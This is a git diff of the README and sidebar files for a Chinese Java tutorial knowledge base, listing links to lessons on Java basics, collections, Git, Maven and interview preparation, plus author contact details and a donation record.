+- [西安一码通又崩了!难道又不小心回滚上个版本](https://mp.weixin.qq.com/s/TaFohrRetiCKEf7ZKESBaQ)
-- [Redis入门(适合新手)](docs/src/redis/rumen.md)
-- [聊聊缓存雪崩、穿透、击穿](docs/src/redis/xuebeng-chuantou-jichuan.md)
+### **真香工具**
+- [干掉 Xshell?这款开源的终端工具Tabby逼格更高!](docs/gongju/tabby.md)
+- [再见Postman!一款更适合国人的接口管理工具ApiPost!](https://mp.weixin.qq.com/s/ZgkNQsve_vq6Xq0_gnWHCw)
+- [EasyPoi实现Excel导入导出,好用到爆,POI可以扔掉了!](https://mp.weixin.qq.com/s/H2Bwc-7ghcjyaEnKUTQ5Dg)
+- [再见了VMware,一款更轻量级的虚拟机Multipass!](https://mp.weixin.qq.com/s/gy6dVHvNy495bqov6JOAdA)
+- [再见Swagger了,这七款在线文档生成神器真的赞](https://mp.weixin.qq.com/s/tEwVadscpaUI5uR6aiTZkQ)
+- [干掉visio,这个画图神器真的绝了!!!](https://mp.weixin.qq.com/s/EaGCe4GRG2C-0zuVxWxl5A)
+### **开源项目**
-## MongoDB
+- [2 个 Java 练手项目(云E办、仿网易云音乐)](docs/kaiyuan/yuneban-wangyiyunyinyue.md)
-- [MongoDB最基础入门教程](docs/src/mongodb/rumen.md)
+## Java 入门
+### **Java 概述**
-# 计算机基础
+- [什么是 Java](docs/overview/what-is-java.md)
+- [Java 发展简史](docs/overview/java-history.md)
+- [Java 的优势](docs/overview/java-advantage.md)
+- [JDK 和 JRE 有什么区别](docs/overview/jdk-jre.md)
+- [安装集成开发环境 Intellij IDEA](docs/overview/idea.md)
+- [第一个 Java 程序:Hello World](docs/overview/hello-world.md)
-> - **计算机基础包括操作系统、计算机网络、计算机组成原理、数据结构与算法等**。对于任何一名想要走得更远的 Java 后端开发来说,都是必须要花时间和精力去夯实的。
-> - 万丈高露平地起,勿在浮沙筑高台。
-
-- [操作系统核心知识点大梳理](docs/src/cs/os.md)
-- [计算机网络核心知识点大梳理](docs/src/cs/wangluo.md)
+### **Java 基础语法**
-# 求职面试
+- [基本数据类型](docs/basic-grammar/basic-data-type.md)
+- [流程控制](docs/basic-grammar/flow-control.md)
+- [运算符](docs/basic-grammar/operator.md)
+- [注释:代码的最强辅助](docs/basic-grammar/javadoc.md)
-> - **学习了那么多 Java 知识,耗费了无数的脑细胞,熬掉了无数根秀发,为的是什么?当然是谋取一份心仪的 offer 了**。那八股文、面试题、城市选择、优质面经又怎能少得了呢?
-> - 千淘万漉虽辛苦,吹尽狂沙始到金。
+### **面向对象**
-## 面试题&八股文
+- [什么是对象?什么是类](docs/oo/object-class.md)
+- [变量](docs/oo/var.md)
+- [方法](docs/oo/method.md)
+- [构造方法](docs/oo/construct.md)
+- [代码初始化块](docs/oo/code-init.md)
+- [抽象类](docs/oo/abstract.md)
+- [接口](docs/oo/interface.md)
+- [static 关键字](docs/oo/static.md)
+- [this 和 super 关键字](docs/oo/this-super.md)
+- [final 关键字](docs/oo/final.md)
+- [instanceof 关键字](docs/oo/instanceof.md)
+- [方法重载和方法重写](docs/basic-extra-meal/override-overload.md)
+- [Java 到底是值传递还是引用传递](docs/basic-extra-meal/pass-by-value.md)
+- [Java的不可变对象](docs/basic-extra-meal/immutable.md)
+- [可变参数](docs/basic-extra-meal/varables.md)
-- [34 道 Java 精选面试题👍](docs/src/interview/java-34.md)
-- [13 道 Java HashMap 精选面试题👍](docs/src/interview/java-hashmap-13.md)
-- [60 道 MySQL 精选面试题👍](docs/src/interview/mysql-60.md)
-- [15 道 MySQL 索引精选面试题👍](docs/src/interview/mysql-suoyin-15.md)
-- [12 道 Redis 精选面试题👍](docs/src/interview/redis-12.md)
-- [40 道 Nginx 精选面试题👍](docs/src/interview/nginx-40.md)
-- [17 道 Dubbo 精选面试题👍](docs/src/interview/dubbo-17.md)
-- [40 道 Kafka 精选面试题👍](docs/src/interview/kafka-40.md)
-- [Java 基础背诵版八股文必看🍉](docs/src/interview/java-basic-baguwen.md)
-- [Java 并发编程背诵版八股文必看🍉](docs/src/interview/java-thread-baguwen.md)
-- [Java 虚拟机背诵版八股文必看🍉](docs/src/interview/java-jvm-baguwen.md)
-- [携程面试官👤:大文件上传时如何做到秒传?](docs/src/interview/mianshiguan-bigfile-miaochuan.md)
-- [阿里面试官👤:为什么要分库分表?](docs/src/interview/mianshiguan-fenkufenbiao.md)
-- [淘宝面试官👤:优惠券系统该如何设计?](docs/src/interview/mianshiguan-youhuiquan.md)
-## 优质面经
+### **字符串**
-- [硕士读者春招斩获深圳腾讯PCG和杭州阿里云 offer✌️](docs/src/mianjing/shanganaliyun.md)
-- [本科读者小公司一年工作经验社招拿下阿里美团头条京东滴滴等 offer✌️](docs/src/mianjing/shezynmjfxhelmtttjddd.md)
-- [非科班读者,用一年时间社招拿下阿里 Offer✌️](docs/src/mianjing/xuelybdzheloffer.md)
-- [二本读者社招两年半10家公司28轮面试面经✌️](docs/src/mianjing/huanxgzl.md)
-- [双非一本秋招收获腾讯ieg、百度、字节等6家大厂offer✌️](docs/src/mianjing/quzjlsspdx.md)
-- [双非学弟收割阿里、字节、B站校招 offer,附大学四年硬核经验总结✌️](docs/src/mianjing/zheisnylzldhzd.md)
-- [深漂 6 年了,回西安的一波面经总结✌️](docs/src/mianjing/chengxyspnhxagzl.md)
+- [String 为什么是不可变的](docs/string/immutable.md)
+- [字符串常量池](docs/string/constant-pool.md)
+- [深入浅出 String.intern](docs/string/intern.md)
+- [如何比较两个字符串是否相等](docs/string/equals.md)
+- [如何拼接字符串](docs/string/join.md)
+- [如何拆分字符串](docs/string/split.md)
+### **数组**
-## 面试准备
+- [数组](docs/array/array.md)
+- [打印数组](docs/array/print.md)
-- [面试常见词汇扫盲+大厂面试特点分享💪](docs/src/nice-article/weixin/miansmtgl.md)
-- [有无实习/暑期实习 offer 如何准备秋招?💪](docs/src/nice-article/weixin/zijxjjdyfqzgl.md)
-- [简历如何优化,简历如何投递,面试如何准备?💪](docs/src/nice-article/weixin/luoczbmsddyb.md)
-- [校招时间节点、简历编写、笔试、HR面、实习等注意事项💪](docs/src/nice-article/weixin/youdxzhhmjzlycfx.md)
+### **集合框架**
-## 城市选择
+- [初识集合框架](docs/collection/gailan.md)
+- [时间复杂度](docs/collection/big-o.md)
+- [ArrayList](docs/collection/arraylist.md)
+- [泛型](docs/basic-extra-meal/generic.md)
+- [LinkedList](docs/collection/linkedlist.md)
+- [ArrayList 重拳出击,把 LinkedList 干翻在地](docs/collection/list-war-1.md)
+- [被 ArrayList 锤了一拳后,LinkedList 很不服气](docs/collection/list-war-2.md)
+- [海康威视一面:Iterator与Iterable有什么区别?](docs/collection/iterator-iterable.md)
+- [为什么阿里巴巴强制不要在 foreach 里执行删除操作](docs/collection/fail-fast.md)
+- [HashMap 的 hash 原理](docs/collection/hash.md)
+- [HashMap 的扩容机制](docs/collection/hashmap-resize.md)
+- [HashMap 的加载因子为什么是 0.75](docs/collection/hashmap-loadfactor.md)
+- [为什么 HashMap 是线程不安全的?](docs/collection/hashmap-thread-nosafe.md)
-- [武汉都有哪些值得加入的IT互联网公司?](docs/src/cityselect/wuhan.md)
-- [北京都有哪些值得加入的IT互联网公司?](docs/src/cityselect/beijing.md)
-- [广州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/guangzhou.md)
-- [深圳都有哪些值得加入的IT互联网公司?](docs/src/cityselect/shenzhen.md)
-- [西安都有哪些值得加入的IT互联网公司?](docs/src/cityselect/xian.md)
-- [青岛都有哪些值得加入的IT互联网公司?](docs/src/cityselect/qingdao.md)
-- [郑州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/zhengzhou.md)
-- [苏州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/suzhou.md)
-- [南京都有哪些值得加入的IT互联网公司?](docs/src/cityselect/nanjing.md)
-- [杭州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/hangzhou.md)
-- [成都都有哪些值得加入的IT互联网公司?](docs/src/cityselect/chengdu.md)
-- [济南都有哪些值得加入的IT互联网公司?](docs/src/cityselect/jinan.md)
+### **异常处理**
-# 学习资源
+- [异常处理机制](docs/exception/gailan.md)
+- [try-catch-finally](docs/exception/try-catch-finally.md)
+- [throw 和 throws](docs/exception/throw-throws.md)
+- [try-with-resouces](docs/exception/try-with-resouces.md)
+- [异常最佳实践](docs/exception/shijian.md)
-> - **不知道学什么?不知道该怎么学?找不到优质的学习资源**?这些问题在这里统统都可以找到答案。
-> - 我会把自己十多年的编程经验和学习资源毫不保留的分享出来。
+### **常用工具类**
-## PDF下载
+- [数组工具类:Arrays](docs/common-tool/arrays.md)
+- [集合工具类:Collections](docs/common-tool/collections.md)
+- [简化每一行代码工具类:Hutool](docs/common-tool/hutool.md)
+- [Guava,拯救垃圾代码,效率提升N倍](docs/common-tool/guava.md)
-- [👏下载→30天速通 Java.pdf](docs/src/pdf/java30day.md)
-- [👏下载→Linux速查备忘手册.pdf](docs/src/pdf/linux.md)
-- [👏下载→超1000本计算机经典书籍分享](docs/src/pdf/java.md)
-- [👏下载→2022年全网最全关于程序员学习和找工作的PDF资源](docs/src/pdf/programmer-111.md)
-- [👏下载→深入浅出Java多线程PDF](docs/src/pdf/java-concurrent.md)
-- [👏下载→GitHub星标115k+的Java教程](docs/src/pdf/github-java-jiaocheng-115-star.md)
-- [👏下载→重学Java设计模式PDF](docs/src/pdf/shejimoshi.md)
-- [👏下载→Java版LeetCode刷题笔记](docs/src/pdf/java-leetcode.md)
-- [👏下载→阿里巴巴Java开发手册](docs/src/pdf/ali-java-shouce.md)
-- [👏下载→阮一峰C语言入门教程](docs/src/pdf/yuanyifeng-c-language.md)
-- [👏下载→BAT大佬的刷题笔记](docs/src/pdf/bat-shuati.md)
-- [👏下载→给操作系统捋条线PDF](docs/src/pdf/os.md)
-- [👏下载→豆瓣9.1分的Pro Git中文版](docs/src/pdf/progit.md)
-- [👏下载→简历模板](docs/src/pdf/jianli.md)
+### **Java IO**
-## 学习建议
+- [IO 流的分类和概述](docs/io/shangtou.md)
-- [计算机专业该如何自学编程,看哪些书籍哪些视频哪些教程?](docs/src/xuexijianyi/LearnCS-ByYourself.md)
-- [如何阅读《深入理解计算机系统》这本书?](docs/src/xuexijianyi/read-csapp.md)
-- [电子信息工程最好的出路的是什么?](docs/src/xuexijianyi/electron-information-engineering.md)
-- [如何填报计算机大类高考填志愿,计科、人工智能、软工、大数据、物联网、网络工程该怎么选?](docs/src/xuexijianyi/gaokao-zhiyuan-cs.md)
-- [测试开发工程师必读经典书籍有哪些?](docs/src/xuexijianyi/test-programmer-read-books.md)
-- [校招 Java 后端开发应该掌握到什么程度?](docs/src/xuexijianyi/xiaozhao-java-should-master.md)
-- [大裁员下,程序员如何做“副业”?](docs/src/xuexijianyi/chengxuyuan-fuye.md)
-- [如何在繁重的工作中持续成长?](docs/src/xuexijianyi/ruhzfzdgzzcxcz.md)
-- [如何获得高并发的经验?](docs/src/xuexijianyi/gaobingfa-jingyan-hsmcomputer.md)
-- [怎么跟 HR 谈薪资?](docs/src/xuexijianyi/hr-xinzi.md)
-- [程序员 35 岁危机,如何破局?](docs/src/xuexijianyi/35-weiji.md)
-- [不到 20 人的 IT 公司该去吗?](docs/src/xuexijianyi/20ren-it-quma.md)
-- [本科生如何才能进入腾讯、阿里等一流的互联网公司?](docs/src/xuexijianyi/benkesheng-ali-tengxun.md)
-- [计算机考研 408 统考该如何准备?](docs/src/xuexijianyi/408.md)
-# 知识库搭建
+### **加餐**
-> 从购买阿里云服务器+域名购买+域名备案+HTTP 升级到 HTTPS,全方面记录《二哥的Java进阶之路》知识库的诞生和改进过程,涉及到 docsify、Git、Linux 命令、GitHub 仓库等实用知识点。
+- [Java 中常用的 48 个关键字](docs/basic-extra-meal/48-keywords.md)
+- [Java 命名约定](docs/basic-extra-meal/java-naming.md)
+- [Java 默认的编码方式 Unicode](docs/basic-extra-meal/java-unicode.md)
+- [new Integer(18) 与 Integer.valueOf(18) 有什么区别](docs/basic-extra-meal/int-cache.md)
+- [自动拆箱与自动装箱](docs/basic-extra-meal/box.md)
+- [浅拷贝与深拷贝](docs/basic-extra-meal/deep-copy.md)
+- [为什么重写 equals 时必须重写 hashCode 方法](docs/basic-extra-meal/equals-hashcode.md)
+- [注解](docs/basic-extra-meal/annotation.md)
+- [枚举](docs/basic-extra-meal/enum.md)
+- [深入理解 Java 中的反射](docs/basic-extra-meal/fanshe.md)
+- [Java 不能实现真正泛型的原因是什么?](docs/basic-extra-meal/true-generic.md)
+- [Java程序在编译期发生了什么](docs/basic-extra-meal/what-happen-when-javac.md)
+- [Comparable和Comparator有什么区别?](docs/basic-extra-meal/comparable-omparator.md)
-- [购买云服务器](docs/src/szjy/buy-cloud-server.md)
-- [安装宝塔面板](docs/src/szjy/install-baota-mianban.md)
-- [购买域名&域名解析](docs/src/szjy/buy-domain.md)
-- [备案域名](docs/src/szjy/record-domain.md)
-- [给域名配置HTTPS证书](docs/src/szjy/https-domain.md)
-- [使用docsify+Git+GitHub+码云+阿里云服务器搭建知识库网站](docs/src/szjy/tobebetterjavaer-wangzhan-shangxian.md)
-本知识库使用 VuePress 搭建,并基于[VuePress Theme Hope](https://theme-hope.vuejs.press/zh/)主题,你可以把[仓库](https://github.com/itwanger/toBeBetterJavaer)拉到本地后直接通过 `pnpm docs:clean-dev` 跑起来。
+## Java 进阶
->前提是你已经安装好 node.js 和 pnpm 环境。
+### **Java 并发编程**
-
+- [室友打一把王者就学会了多线程](docs/thread/wangzhe-thread.md)
-点击链接就可以在本地看到运行后的效果了。
+### **Java 虚拟机**
-
+- [JVM 是什么?](docs/jvm/what-is-jvm.md)
-如果想部署服务器,可以执行 `pnpm docs:build` 打包生成 dist 目录,里面就是静态资源文件了。
+## 求职面试
-执行 `zip -r dist.zip dist` 压缩为 dist.zip 包,然后上传到服务器的 Nginx 对应的静态资源目录下。再执行 `unzip dist.zip` 解压即可。
+### 八股文
-# 联系作者
+- [Java 精选面试题 34 卷](docs/baguwen/java-basic-34.md)
+- [Java 基础(背诵版)](docs/baguwen/java-basic.md)
+- [HashMap精选面试题](docs/collection/hashmap-interview.md)
+- [Java 并发编程(背诵版)](docs/baguwen/java-thread.md)
+- [Java 虚拟机(背诵版)](docs/baguwen/jvm.md)
->- 作者是一名普通普通普通普通三连的 Java 后端开发者,热爱学习,热爱分享
->- 参加工作以后越来越理解交流和分享的重要性,在不停地汲取营养的同时,也希望帮助到更多的小伙伴们
->- 二哥的Java进阶之路,不仅是作者自学 Java 以来所有的原创文章和学习资料的大聚合,更是作者向这个世界传播知识的一个窗口。
+### 城市选择
-## 心路历程
+- [北京都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/xlPZfpd89rDq6L-Me80wnw)
+- [广州都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/uZQ8p0ytsQFXzt5ppzx6fA)
+- [深圳有哪些牛批的互联网公司?](https://mp.weixin.qq.com/s/hBU-eEUq8aN5PWwdZFmC4g)
+- [西安有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/s0Ub1CHC9eEi0YrqPrnRog)
+- [青岛有牛逼的互联网公司吗?](https://mp.weixin.qq.com/s/8QQvOrkG3Vdjj3GxP1zxBQ)
+- [郑州有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/SU9drg2xJKcheIwJ6OSSBQ)
+- [苏州有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/cnYsZLudFOwv5EKYMsMh0Q)
-- [走近作者:个人介绍 Q&A](docs/src/about-the-author/readme.md)
-- [我的第一个,10 万(B站视频播放)](docs/src/about-the-author/bzhan-10wan.md)
-- [我的第一个,一千万!知乎阅读](docs/src/about-the-author/zhihu-1000wan.md)
-- [我的第二个,一千万!CSDN阅读](docs/src/about-the-author/csdn-1000wan.md)
-## 联系方式
+# :paw_prints: 联系作者
-### 原创公众号
+- **技术交流群**
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
+ 本群的宗旨是给大家提供一个良好的技术学习交流平台,所以杜绝一切广告!
由于微信群人满 100 之后无法加入,请先添加作者微信「qing_geee」(也可以扫描下方的二维码),备注:加群。
+
+
+

+
+- **原创公众号**
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
+ 本号的slogan:技术文通俗易懂,吹水文风趣幽默。
目前已有近 10 万读者关注,微信搜索「**沉默王二**」(也可以扫描下方的二维码)就可以关注我了。
+
+
+

+
-
+ 回复关键字「**03**」可以下载《Java 程序员进阶之路》专栏的离线 PDF 版本(暗黑版和亮白版)。
-### star趋势图
+- **star 趋势图**
+
+[](https://starchart.cc/itwanger/toBeBetterJavaer)
+
-[](https://star-history.com/#itwanger/toBeBetterJavaer&Date)
+# :muscle: 参与贡献
-### 友情链接
+1. 如果你对本项目有任何建议或发现文中内容有误的,欢迎提交 issues 进行指正。
+2. 对于文中我没有涉及到知识点,欢迎提交 PR。
-- [paicoding](https://github.com/itwanger/paicoding),⭐️一款好用又强大的开源社区,附详细教程,包括Java、Spring、MySQL、Redis、微服务&分布式、消息队列、操作系统、计算机网络、数据结构与算法等计算机专业核心知识点。学编程,就上技术派😁。
-- [Hippo4J](https://github.com/acmenlt/dynamic-threadpool),🔥 强大的动态线程池,附带监控报警功能(没有依赖中间件),完全遵循阿里巴巴编码规范。
-- [JavaGuide](https://github.com/Snailclimb/JavaGuide),「Java学习+面试指南」一份涵盖大部分 Java 程序员所需要掌握的核心知识。准备 Java 面试,首选 JavaGuide!
-### 捐赠鼓励
+# :gift: Donate
-开源不易,如果《二哥的Java进阶之路》对你有些帮助,可以请作者喝杯咖啡,算是对开源做出的一点点鼓励吧!
+开源不易,如果《Java 程序员进阶之路》专栏对你有些帮助,可以请二哥喝杯咖啡,算是对开源做出的一点点鼓励吧!
-

+
:gift_heart: 感谢大家对我资金的赞赏,每隔一个月会统计一次。
时间|小伙伴|赞赏金额
---|---|---
-2025-07-02|橘子|4元
-2025-06-28|m*u|10元
-2025-06-15|l*y|5元
-2025-05-28|*航|6元
-2025-05-25|*星|10元
-2025-05-25|*(|6.66元
-2025-05-17|*鋈|4元
-2025-05-10|*庆|1元
-2025-05-08|芋*3|10元
-2025-04-17|*南|10元
-2025-03-31|:*D|4元
-2025-03-26|A*.|6.66元
-2025-02-18|R*.|6.66元
-2025-02-08|*金|5元
-2025-01-17|*蓝|8.88元
-2024-12-30|*甜|2元
-2024-12-26|*阳|1元
-2024-12-18|*。|1.5元
-2024-12-06|E*g|5元
-2024-12-04|*佚|0.88元
-2024-12-02|A*g|6.66元
-2024-11-30|1*0|10元
-2024-11-23|W*Z|11元
-2024-11-17|*旺|2元
-2024-11-16|*年|1元
-2024-11-14|*🤖|10元
-2024-11-13|*光|0.1元
-2024-10-25|*陈|1元
-2024-10-06|*天|10元
-2024-10-04|2*2|20元
-2024-09-25|c*l|1元
-2024-09-14|.*6|1.9元
-2024-08-16|*了|20元
-2024-08-14|*李|0.66元
-2024-08-12|*Z|6.66元
-2024-08-09|*峰|2元
-2024-07-13|*运|20元
-2024-07-01|*风|1元
-2024-06-30|*迷|1元
-2024-06-23|*瓦|1元
-2024-06-17|*芒|5元
-2024-06-13|*啊|9.99元
-2024-06-03|S*d|1元
-2024-05-23|*气|3元
-2024-05-22|w*r|6.6元
-2024-05-01|*笑|0.01元
-2024-04-24|1*0|3元
-2024-04-10|迷*x|21元
-2024-04-08|*青|5元
-2024-04-08|敲不出来的一个符号|1元
-2024-04-07|*i|0.01元
-2024-04-06|*牛|10元
-2024-04-03|Y*T|10元
-2024-04-02|B*E|2元
-2024-03-20|*卡|1元
-2024-03-18|*嘎|6.66元
-2024-03-17|*兴|0.01元
-2024-03-12|*鹏|0.02元
-2024-03-12|y*u|0.01元
-2024-02-29|r*y|6元
-2024-02-23|*~|9.99元
-2024-02-21|从头再来|5元
-2024-02-15|*斗|10元
-2024-02-02|*切|2元
-2024-02-01|*康|9元
-2024-01-31|*康|1元
-2024-01-22|*妙|10元
-2024-01-17|*清|9.9元
-2024-01-12|*奥|5元
-2024-01-04|*👈🏻|1元
-2024-01-03|*|3元
-2024-01-03|Y*o|2元
-2023-12-22|*逗|50元
-2023-11-25|*君|2元
-2023-10-23|*🐻|6.66元
-2023-10-17|*哈|5元
-2023-10-12|0*7|7.77元
-2023-10-03|S*d|0.5元
-2023-09-27|*1|1元
-2023-09-25|L*e|10.24元
-2023-09-19|*人|2元
-2023-09-15|L*D|2元
-2023-09-15|*暖|5元
-2023-09-11|A*B|1元
-2023-08-21|*氏|2元
-2023-08-18|*寻|1元
-2023-08-03|*案|10.24元
-2023-08-02|*,|1元
-2023-07-24|m*l|3元
-2023-07-20|lzy|6元
-2023-07-14|s*!|2元
-2023-07-02|*晴|1元
-2023-06-26|*雨|6.66元
-2023-06-21|*航|6元
-2023-06-21|*狼|3元
-2023-06-19|*定|2元
-2023-06-18|*道|5元
-2023-06-16|* 文|1元
-2023-06-14|G*e|66.6元
-2023-06-07|*.|0.5元
-2023-05-23|*W|5元
-2023-05-19|*飞|6元
-2023-05-10|c*r|1元
-2023-04-26|r*J|10.24元
-2023-04-22|*明|1元
-2023-04-09|* 刀|10元
-2023-04-03|*意|0.02元
-2023--03-17|*昌|8 元
-2023-03-16|~*~|66.6 元
-2023-03-15|*枫|6.6 元
-2023-03-10|十年|1 元
-2023-03-04|*风|5 元
-2023-02-26|一个表情(emoji)|1 元
-2023-02-23|曹*n|5元
-2023-02-11|昵称加载中.|6.6元
-2023-02-09|*明|10元
-2023-02-09|*风|5元
-2023-02-09|*z|3元
-2023-02-09|*夫|10元
-2023-02-08|*宝|5 元
-2023-01-18|*念|0.01元
-2023-01-18|*来|1元
-2023-01-10|*A*t|1元
-2023-01-07|*忠|5元
-2023-12-02|g*g|0.1元
-2022-11-13|*王|5元
-2022-11-10|*车|1元
-2022-11-10|F*k|1元
-2022-11-05|*H|3元
-2022-11-04|*金|0.02元
-2022-11-04|*尘|15元
-2022-11-02|*峰|1元
-2022-10-29|~*~|6元
-2022-10-28|k*k|1元
-2022-10-20|*电|2元
-2022-10-15|*深|5元
-2022-09-30|*君|1元
-2022-09-28|*懂|1元
-2022-09-27|*府|1元
-2022-09-23|*问号(emogji)|5元
-2022-09-23|H*n|1元
-2022-09-23|*a|0.01元
-2022-09-08|*👀|20元
-2022-09-07|丹*1|20元
-2022-08-27|*夹|40元
-2022-07-06|体*P|2元
-2022-07-05|*谦|5元
-2022-06-18|*杰|2元
-2022-06-15|L*c|15元
-2022-06-10|*❤|1元
-2022-06-09|'*'|1元
-2022-06-07|*勇|1元
-2022-06-03|*鸭|1元
-2022-05-12|*烟|10元
-2022-04-25|*思|5元
-2022-04-20|w*n|1元
-2022-04-12|E*e|10 元
-2022-03-19|*风|9.9元
-2022-03-04|袁晓波|99元
-2022-02-17|*色|1元
-2022-02-17|M*y|1元
-2022-01-28|G*R|6.6元
-2022-01-20|*光|50元
-2022-01-14|*浩|1元
-2022-01-01|刚*好|3.6元
-2022-01-01|马*谊|6.6元
+2022-01-01|马伟谊|6.6元
+2022-01-01|刚刚好|3.6元
2021-12-20|t*1|5 元
-2021-10-26|*猫|28 元
+2021-10-26|*鱼|28 元
2021-10-11|*人|28 元
-2021-09-28|*人|1 元
-2021-09-05|N*a|3 元
-2021-09-02|S*n|6.6 元
-2021-08-21|z*s|3 元
-2021-08-20|A*g|10 元
-2021-08-09|*滚|0.1 元
+2021-09-01|S*n|6.6 元
2021-08-02|*秒|1 元
2021-06-13|*7| 28 元
-2021-05-04|*学|169 元
-2021-04-29|p*e|2 元
-2021-04-28|追风筝的神|1 元
-
-### 参与贡献
-
-1. 如果你对本项目有任何建议或发现文中内容有误的,欢迎提交 issues 进行指正。
-2. 对于文中我没有涉及到知识点,欢迎提交 PR。
-
-
-
+2021-04-29|pebble|2 元
diff --git a/_coverpage.md b/_coverpage.md
new file mode 100644
index 0000000000..cbca15debf
--- /dev/null
+++ b/_coverpage.md
@@ -0,0 +1,23 @@
+
+
+
+# Java程序员进阶之路 To Be Better Javaer
+
+
+> 🌈 Java 程序员进阶之路,本专栏风趣幽默、通俗易懂,对 Java 爱好者极度友好和舒适😄,内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 面试题、Java 企业级开发(Git、SSM、Spring Boot)、计算机基础知识(操作系统、计组、计网、数据结构与算法)等核心知识点。如果本专栏为你提供了帮助,请给予支持(star一下,或者推荐给你的朋友)!
+
+  
+
+
+
+ 👁️本页总访问次数:
+
+
+ | 🧑总访客数:
+
+
+[联系作者](https://mp.weixin.qq.com/s/1_lOGt4Fl6Yy8iVdxWeI5g)
+开始阅读
+
+
+
diff --git a/_sidebar.md b/_sidebar.md
new file mode 100644
index 0000000000..48a53c65e8
--- /dev/null
+++ b/_sidebar.md
@@ -0,0 +1,177 @@
+**Maven**
+
+- [项目构建神器 Maven](docs/maven/maven.md)
+- [更快的 Maven 来了!!!性能提升 300%](docs/maven/mvnd.md)
+
+**Git**
+
+- [可能是 Git 历史上最伟大的一次代码提交](docs/git/git-qiyuan.md)
+- [终于有人把 Git 的数据模型讲清楚了](docs/git/shujujiegou.md)
+- [昨晚看完 Linus 第一次提交的 Git 代码后,我失眠了!](docs/git/neibushixian.md)
+- [要熟练使用 Git,恐怕要记住这60个命令](docs/git/mingling.md)
+- [崩溃!实习生把小组的代码仓库搞得一团糟。。。](docs/git/jibenshiyong.md)
+- [信不信,7 张图就能让你把 Git 分支管理拿捏的死死的。。](docs/git/fenzhi.md)
+- [豆瓣9.1分!我昨天在挂急诊时啃完了这本书!](docs/git/progit.md)
+
+**SpringBoot**
+
+- [一分钟快速搭建 Spring Boot 项目](docs/springboot/initializr.md)
+- [基于SpringBoot的CMS系统,拿去开发企业官网真香](https://mp.weixin.qq.com/s/HWTVu7E62VkaH2anQc1J_g)
+- [Spring Boot为什么不需要额外安装Tomcat?](docs/springboot/tomcat.md)
+
+**事故处理**
+
+- [Log4j2突发重大漏洞](docs/shigu/log4j2.md)
+- [重现了一波 Log4j2 核弹级漏洞](https://mp.weixin.qq.com/s/zXzJVxRxMUnoyJs6_NojMQ)
+- [生成订单30分钟未支付,则自动取消,该怎么实现?](https://mp.weixin.qq.com/s/J6jb_Dt3C49CIjYBTrN4gQ)
+- [西安一码通又崩了背后的技术原因](https://mp.weixin.qq.com/s/TaFohrRetiCKEf7ZKESBaQ)
+
+
+**真香工具**
+
+- [开源的终端工具Tabby](docs/gongju/tabby.md)
+- [一款更适合国人的接口管理工具ApiPost](https://mp.weixin.qq.com/s/ZgkNQsve_vq6Xq0_gnWHCw)
+- [EasyPoi实现Excel导入导出](https://mp.weixin.qq.com/s/H2Bwc-7ghcjyaEnKUTQ5Dg)
+- [一款更轻量级的虚拟机Multipass!](https://mp.weixin.qq.com/s/gy6dVHvNy495bqov6JOAdA)
+- [再见Swagger了,这七款在线文档生成神器真的赞](https://mp.weixin.qq.com/s/tEwVadscpaUI5uR6aiTZkQ)
+- [干掉visio,这个画图神器drwa.io真的绝了!!!](https://mp.weixin.qq.com/s/EaGCe4GRG2C-0zuVxWxl5A)
+
+**开源项目**
+
+- [云E办、仿网易云音乐](docs/kaiyuan/yuneban-wangyiyunyinyue.md)
+
+**Java 概述**
+
+- [什么是 Java](docs/overview/what-is-java.md)
+- [Java 发展简史](docs/overview/java-history.md)
+- [Java 的优势](docs/overview/java-advantage.md)
+- [JDK 和 JRE](docs/overview/jdk-jre.md)
+- [安装 Intellij IDEA](docs/overview/idea.md)
+- [Hello World](docs/overview/hello-world.md)
+
+
+**Java 基础语法**
+
+- [基本数据类型](docs/basic-grammar/basic-data-type.md)
+- [流程控制](docs/basic-grammar/flow-control.md)
+- [运算符](docs/basic-grammar/operator.md)
+- [注释](docs/basic-grammar/javadoc.md)
+
+**面向对象**
+
+- [对象和类](docs/oo/object-class.md)
+- [变量](docs/oo/var.md)
+- [方法](docs/oo/method.md)
+- [构造方法](docs/oo/construct.md)
+- [代码初始化块](docs/oo/code-init.md)
+- [抽象类](docs/oo/abstract.md)
+- [接口](docs/oo/interface.md)
+- [static](docs/oo/static.md)
+- [this 和 super](docs/oo/this-super.md)
+- [final](docs/oo/final.md)
+- [instanceof](docs/oo/instanceof.md)
+- [方法重载和方法重写](docs/basic-extra-meal/override-overload.md)
+- [值传递和引用传递](docs/basic-extra-meal/pass-by-value.md)
+- [不可变对象](docs/basic-extra-meal/immutable.md)
+- [可变参数](docs/basic-extra-meal/varables.md)
+
+
+**字符串**
+
+- [初识String](docs/string/immutable.md)
+- [字符串常量池](docs/string/constant-pool.md)
+- [String.intern](docs/string/intern.md)
+- [比较字符串](docs/string/equals.md)
+- [拼接字符串](docs/string/join.md)
+- [拆分字符串](docs/string/split.md)
+
+**数组**
+
+- [数组](docs/array/array.md)
+- [打印数组](docs/array/print.md)
+
+**集合框架**
+
+- [初识集合框架](docs/collection/gailan.md)
+- [时间复杂度](docs/collection/big-o.md)
+- [ArrayList](docs/collection/arraylist.md)
+- [泛型](docs/basic-extra-meal/generic.md)
+- [LinkedList](docs/collection/linkedlist.md)
+- [ArrayList和LinkedList](docs/collection/list-war-1.md)
+- [ArrayList和LinkedList第二战](docs/collection/list-war-2.md)
+- [Iterator与Iterable](docs/collection/iterator-iterable.md)
+- [为什么不要在 foreach 里执行删除操作](docs/collection/fail-fast.md)
